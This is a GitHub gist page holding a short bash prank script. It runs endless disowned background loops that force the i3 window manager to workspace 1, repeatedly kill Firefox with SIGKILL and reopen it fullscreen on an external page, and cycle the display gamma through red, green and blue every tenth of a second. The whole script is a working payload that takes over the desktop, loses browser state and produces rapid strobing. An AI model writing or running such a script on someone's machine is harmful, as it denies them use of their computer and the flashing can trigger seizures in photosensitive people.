Created
July 3, 2019 15:16
-
-
Save Khoyo/e96275d8948f789e617c225c53677bd3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
DP=$(xrandr | grep " connected" | cut -d' ' -f1); | |
while true; do i3-msg "workspace 1"; done 2>&1 >/dev/null & | |
while true; do killall -9 firefox; sleep 0.2; firefox --new-window http://psapin.github.io/rainbowstalin.html; done 2>&1 >/dev/null & | |
while true; do i3-msg '[title=".*Mozilla Firefox"] fullscreen enable; [title=".*Mozilla Firefox"] move workspace 1'; done 2>&1 >/dev/null & | |
while true; do xrandr --output $DP --gamma 1:0.001:0.001; sleep 0.1; xrandr --output $DP --gamma 0.001:1:0.001; sleep 0.1; xrandr --output $DP --gamma 0.001:0.001:1; sleep 0.1; done 2>&1 >/dev/null & | |
disown |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment